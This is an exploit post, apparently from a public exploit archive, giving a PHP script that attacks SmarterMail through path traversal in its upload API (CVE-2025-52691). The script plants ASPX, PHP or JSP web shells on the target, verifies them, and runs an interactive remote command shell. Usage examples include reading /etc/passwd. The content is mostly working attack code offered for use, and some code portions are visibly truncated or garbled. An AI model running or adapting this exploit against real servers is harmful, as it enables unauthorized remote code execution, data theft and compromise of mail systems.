============================================================================================================================================= | # Title : SmarterMail v 100.0.9413 GUID File RCE Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://www.smartertools.com/smartermail/downloads | ============================================================================================================================================= [+] Summary: This PHP code implements a fully automated remote exploitation framework targeting a vulnerable SmarterMail installation. It is designed to identify the service, determine the underlying operating system, abuse a file upload mechanism with path traversal, and achieve arbitrary file write leading to remote command execution. The tool supports multiple payload formats (ASPX, PHP, JSP, and direct command logic) and dynamically adapts to Windows or Unix-like environments. It performs service detection, payload generation, upload delivery, reachability verification, and optional interactive command execution through a web-accessible endpoint. From a security research perspective, the exploit demonstrates a complete attack chain, starting from insufficient validation in an upload API and culminating in post-exploitation command execution. The vulnerability class spans multiple critical weakness categories, including unrestricted file upload, path traversal, and remote code execution. The framework is modular, configurable via command-line arguments, and capable of adapting payload behavior based on server response and environment characteristics. Its design reflects post-exploitation automation rather than a simple proof of concept. [+] POC : # PHP shell with interactive mode : php exploit.php http://victim.com "id" --type=php --interactive # ASPX shell for Windows : php exploit.php http://win-server.com "ipconfig" --type=aspx # JSP shell with custom command : php exploit.php http://java-app.com "uname -a" --type=jsp # Automatic system discovery : php exploit.php http://unknown-os.com "hostname" --type=php targetUrl = rtrim($options['target_url'] ?? '', '/'); $this->targetUri = '/' . ltrim($options['target_uri'] ?? '', '/'); $this->depth = max(1, intval($options['depth'] ?? 15)); $this->webRootPort = intval($options['web_root_port'] ?? 80); $this->targetDir = $options['target_dir'] ?? null; $this->payloadType = $options['payload_type'] ?? self::PAYLOAD_CMD; if (!isset($options['is_windows'])) { $this->isWindows = $this->detectWindows(); } else { $this->isWindows = $options['is_windows']; } if ($this->isWindows && empty($this->targetDir)) { $this->targetDir = '/inetpub/wwwroot'; } elseif (!$this->isWindows && empty($this->targetDir)) { $this->targetDir = '/tmp'; } $this->targetDir = rtrim($this->targetDir, '/'); } private function detectWindows() { try { $url = $this->targetUrl . $this->targetUri . '/'; $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => true, CURLOPT_NOBODY => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_TIMEOUT => 10, CURLOPT_USERAGENT => 'Mozilla/5.0' ]); $response = curl_exec($ch); if ($response !== false) { $headers = explode("\n", $response); foreach ($headers as $header) { if (stripos($header, 'Server:') !== false) { if (stripos($header, 'IIS') !== false || stripos($header, 'Microsoft') !== false || stripos($header, 'Win32') !== false) { curl_close($ch); return true; } } } } curl_close($ch); return false; } catch (Exception $e) { return false; } } public function check() { try { $url = $this->targetUrl . $this->targetUri . '/'; $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_TIMEOUT => $this->curlTimeout, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5, CURLOPT_USERAGENT => 'Mozilla/5.0' ]); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception("HTTP request failed: {$error}"); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode == 200 || $httpCode == 302 || $httpCode == 401) { if (stripos($response, 'SmarterMail') !== false) { return true; } return null; } return false; } catch (Exception $e) { error_log("Check failed: " . $e->getMessage()); return false; } } private function generatePayload($command, $payloadType = null) { $type = $payloadType ?? $this->payloadType; switch ($type) { case self::PAYLOAD_ASPX: return $this->generateAspxPayload($command); case self::PAYLOAD_PHP: return $this->generatePhpPayload($command); case self::PAYLOAD_JSP: return $this->generateJspPayload($command); case self::PAYLOAD_CMD: default: return $command; } } private function generateAspxPayload($command) { $encodedCommand = rawurlencode($command); $processStartInfo = 'proc' . bin2hex(random_bytes(4)); $process = 'process' . bin2hex(random_bytes(4)); return << <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Text" %> EOF; } private function generatePhpPayload($command) { $encodedCommand = base64_encode($command); return << array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); \$process = proc_open(\$cmd, \$descriptorspec, \$pipes); if (is_resource(\$process)) { fclose(\$pipes[0]); \$stdout = stream_get_contents(\$pipes[1]); fclose(\$pipes[1]); \$stderr = stream_get_contents(\$pipes[2]); fclose(\$pipes[2]); \$return_value = proc_close(\$process); echo "STDOUT:\\n" . \$stdout . "\\n\\n"; if (!empty(\$stderr)) { echo "STDERR:\\n" . \$stderr . "\\n\\n"; } echo "Exit code: " . \$return_value; } } else { echo "No shell execution functions available"; } } else { echo "PHP Shell Ready. Use cmd or c parameter."; } ?> EOF; } private function generateJspPayload($command) { $encodedCommand = base64_encode($command); return << <% response.setContentType("text/plain"); response.setCharacterEncoding("UTF-8"); String cmd = request.getParameter("cmd"); if (cmd == null || cmd.isEmpty()) { // Use default command from payload cmd = new String(java.util.Base64.getDecoder().decode("{$encodedCommand}")); } if (cmd != null && !cmd.isEmpty()) { try { Process p; if (System.getProperty("os.name").toLowerCase().contains("win")) { p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd}); } else { p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd}); } BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); String s; out.println("STDOUT:"); while ((s = stdInput.readLine()) != null) { out.println(s); } out.println("\nSTDERR:"); while ((s = stdError.readLine()) != null) { out.println(s); } p.waitFor(); out.println("\nExit value: " + p.exitValue()); stdInput.close(); stdError.close(); } catch (Exception e) { out.println("ERROR: " + e.toString()); e.printStackTrace(new PrintWriter(out)); } } else { out.println("JSP Shell Ready. Use cmd parameter."); } %> EOF; } private function getFileExtension($payloadType = null) { $type = $payloadType ?? $this->payloadType; switch ($type) { case self::PAYLOAD_ASPX: return '.aspx'; case self::PAYLOAD_PHP: return '.php'; case self::PAYLOAD_JSP: return '.jsp'; case self::PAYLOAD_CMD: default: return $this->isWindows ? '.aspx' : '.sh'; } } private function uploadPayload($targetDir, $filename, $payloadContents, $payloadType = null) { $boundary = '----WebKitFormBoundary' . bin2hex(random_bytes(16)); $extension = $this->getFileExtension($payloadType); $resumableFilename = bin2hex(random_bytes(4)) . $extension; $postData = ''; $postData .= "--{$boundary}\r\n"; $postData .= "Content-Disposition: form-data; name=\"context\"\r\n\r\n"; $postData .= "attachment\r\n"; $postData .= "--{$boundary}\r\n"; $postData .= "Content-Disposition: form-data; name=\"resumableIdentifier\"\r\n\r\n"; $postData .= "{$filename}\r\n"; $postData .= "--{$boundary}\r\n"; $postData .= "Content-Disposition: form-data; name=\"resumableFilename\"\r\n\r\n"; $postData .= "{$resumableFilename}\r\n"; $traversal = str_repeat('../', $this->depth); $postData .= "--{$boundary}\r\n"; $postData .= "Content-Disposition: form-data; name=\"contextData\"\r\n"; $postData .= "Content-Type: application/json\r\n\r\n"; $postData .= "{\"guid\":\"dag/{$traversal}{$targetDir}/{$filename}\"}\r\n"; $randomName = bin2hex(random_bytes(8)); $postData .= "--{$boundary}\r\n"; $postData .= "Content-Disposition: form-data; name=\"{$randomName}\"; filename=\"{$randomName}.txt\"\r\n"; $postData .= "Content-Type: application/octet-stream\r\n\r\n"; $postData .= $payloadContents . "\r\n"; $postData .= "--{$boundary}--\r\n"; $url = $this->targetUrl . $this->targetUri . '/api/upload'; $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => $postData, CURLOPT_HTTPHEADER => [ "Content-Type: multipart/form-data; boundary={$boundary}", "User-Agent: Mozilla/5.0", "Accept: application/json, */*" ], CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_TIMEOUT => $this->curlTimeout, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5 ]); $response = curl_exec($ch); if ($response === false) { $error = curl_error($ch); curl_close($ch); throw new Exception("cURL request failed: {$error}"); } $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode != 200) { throw new Exception("File upload failed. HTTP Code: {$httpCode}"); } $json = json_decode($response, true); if ($json === null) { throw new Exception("Invalid JSON response from server"); } if (!isset($json['key'])) { throw new Exception("Server response missing 'key' field"); } $key = $json['key']; if (!preg_match('/([^\/]+)$/', $key, $matches)) { throw new Exception("Could not extract filename from key: {$key}"); } $uploadedFilename = $matches[1]; echo "[+] Uploaded payload file: {$uploadedFilename}\n"; return $uploadedFilename; } private function testPayload($filename, $payloadType, $testCommand = 'whoami') { $port = ($this->webRootPort != 80 && $this->webRootPort != 443) ? ":{$this->webRootPort}" : ''; $url = $this->targetUrl . $port . $this->targetUri . '/' . $filename; echo "[*] Testing payload at: {$url}\n"; $testUrl = $url; switch ($payloadType) { case self::PAYLOAD_ASPX: $testUrl .= '?cmd=' . urlencode($testCommand); break; case self::PAYLOAD_PHP: $testUrl .= '?cmd=' . base64_encode($testCommand); break; case self::PAYLOAD_JSP: $testUrl .= '?cmd=' . urlencode($testCommand); break; } $ch = curl_init($testUrl); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_TIMEOUT => $this->curlTimeout, CURLOPT_USERAGENT => 'Mozilla/5.0' ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($response !== false) { echo "[+] Payload test successful. HTTP Code: {$httpCode}\n"; $preview = substr($response, 0, 1000); if (strlen($response) > 1000) { $preview .= "...\n[+] Output truncated, " . (strlen($response) - 1000) . " more characters"; } echo "[+] Response preview:\n" . $preview . "\n"; return $response; } return false; } public function executeCommand($filename, $payloadType, $command) { $port = ($this->webRootPort != 80 && $this->webRootPort != 443) ? ":{$this->webRootPort}" : ''; $url = $this->targetUrl . $port . $this->targetUri . '/' . $filename; switch ($payloadType) { case self::PAYLOAD_ASPX: $url .= '?cmd=' . urlencode($command); break; case self::PAYLOAD_PHP: $url .= '?cmd=' . base64_encode($command); break; case self::PAYLOAD_JSP: $url .= '?cmd=' . urlencode($command); break; case self::PAYLOAD_CMD: return $this->executeDirect($command); } $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_TIMEOUT => $this->curlTimeout, CURLOPT_USERAGENT => 'Mozilla/5.0' ]); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($response !== false && $httpCode == 200) { return $response; } return "Command execution failed. HTTP Code: {$httpCode}"; } private function executeDirect($command) { return "Direct command execution scheduled: {$command}"; } public function exploit($command, $payloadType = null) { $type = $payloadType ?? $this->payloadType; $payloadName = 'shell_' . bin2hex(random_bytes(8)); echo "[*] Using payload type: " . strtoupper($type) . "\n"; echo "[*] Target OS: " . ($this->isWindows ? 'Windows' : 'Unix/Linux') . "\n"; $payloadContent = $this->generatePayload($command, $type); echo "[*] Uploading payload to {$this->targetDir}...\n"; $uploadedFilename = $this->uploadPayload($this->targetDir, $payloadName, $payloadContent, $type); echo "[*] Testing payload functionality...\n"; $testResult = $this->testPayload($uploadedFilename, $type); if ($testResult !== false) { echo "[+] Payload is active and responding!\n"; echo "[+] Shell URL: " . $this->targetUrl; if ($this->webRootPort != 80 && $this->webRootPort != 443) { echo ":{$this->webRootPort}"; } echo $this->targetUri . '/' . $uploadedFilename . "\n"; echo "\n[+] Usage:\n"; switch ($type) { case self::PAYLOAD_ASPX: echo " URL?cmd=whoami\n"; echo " URL?cmd=powershell+-c+\"Get-Process\"\n"; break; case self::PAYLOAD_PHP: echo " URL?cmd=" . base64_encode('whoami') . "\n"; echo " URL?c=ls+-la\n"; break; case self::PAYLOAD_JSP: echo " URL?cmd=whoami\n"; echo " URL?cmd=ls+-la\n"; break; } return [ 'filename' => $uploadedFilename, 'type' => $type, 'url' => $this->targetUrl . $this->targetUri . '/' . $uploadedFilename ]; } else { echo "[-] Payload uploaded but not responding as expected\n"; return false; } } public function interactiveShell($uploadedFilename, $payloadType) { echo "\n[+] Entering interactive mode. Type 'exit' to quit.\n"; while (true) { echo "shell> "; $command = trim(fgets(STDIN)); if (empty($command)) { continue; } if (strtolower($command) == 'exit' || strtolower($command) == 'quit') { break; } $result = $this->executeCommand($uploadedFilename, $payloadType, $command); echo $result . "\n"; } echo "[+] Interactive session ended.\n"; } } if ($argv[0] == basename(__FILE__)) { if ($argc < 3) { echo "SmarterMail RCE Exploit by indoushka- CVE-2025-52691\n"; echo "=====================================================\n"; echo "Usage: php " . basename(__FILE__) . " [options]\n\n"; echo "Payload Types:\n"; echo " --type=aspx ASP.NET web shell (Windows)\n"; echo " --type=php PHP web shell (Unix/Windows with PHP)\n"; echo " --type=jsp JSP web shell (Java/Tomcat)\n"; echo " --type=cmd Direct command execution (default)\n\n"; echo "Examples:\n"; echo " php exploit.php http://target.com \"whoami\" --type=php\n"; echo " php exploit.php http://target.com \"powershell -c ipconfig\" --type=aspx\n"; echo " php exploit.php http://target.com \"cat /etc/passwd\" --type=jsp\n"; exit(1); } $targetUrl = $argv[1]; $command = $argv[2]; $options = [ 'target_url' => $targetUrl, 'target_uri' => '/smartermail', 'depth' => 15, 'web_root_port' => 80, 'payload_type' => SmarterMailExploit::PAYLOAD_CMD, 'target_dir' => null ]; for ($i = 3; $i < $argc; $i++) { if (strpos($argv[$i], '--') === 0) { $parts = explode('=', $argv[$i], 2); $key = substr($parts[0], 2); if (isset($parts[1])) { if ($key == 'depth' || $key == 'port') { $options[$key] = intval($parts[1]); } elseif ($key == 'type') { $validTypes = [ 'aspx' => SmarterMailExploit::PAYLOAD_ASPX, 'php' => SmarterMailExploit::PAYLOAD_PHP, 'jsp' => SmarterMailExploit::PAYLOAD_JSP, 'cmd' => SmarterMailExploit::PAYLOAD_CMD ]; if (isset($validTypes[$parts[1]])) { $options['payload_type'] = $validTypes[$parts[1]]; } else { echo "[-] Invalid payload type. Valid: aspx, php, jsp, cmd\n"; exit(1); } } else { $options[$key] = $parts[1]; } } elseif ($key == 'windows') { $options['is_windows'] = true; } elseif ($key == 'linux') { $options['is_windows'] = false; } elseif ($key == 'interactive') { $options['interactive'] = true; } } } $exploit = new SmarterMailExploit($options); try { echo "[*] Checking target...\n"; $checkResult = $exploit->check(); if ($checkResult === true) { echo "[+] Target appears to be SmarterMail\n"; } elseif ($checkResult === null) { echo "[?] Service accessible but SmarterMail not confirmed\n"; echo "[*] Continuing...\n"; } else { echo "[-] Target not accessible\n"; exit(1); } echo "[*] Executing exploit...\n"; $result = $exploit->exploit($command); if ($result !== false) { echo "\n[+] Exploit successful!\n"; if (isset($options['interactive']) && $options['interactive']) { $exploit->interactiveShell($result['filename'], $result['type']); } } else { echo "[-] Exploit failed\n"; exit(1); } } catch (Exception $e) { echo "[-] Error: " . $e->getMessage() . "\n"; exit(1); } } Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================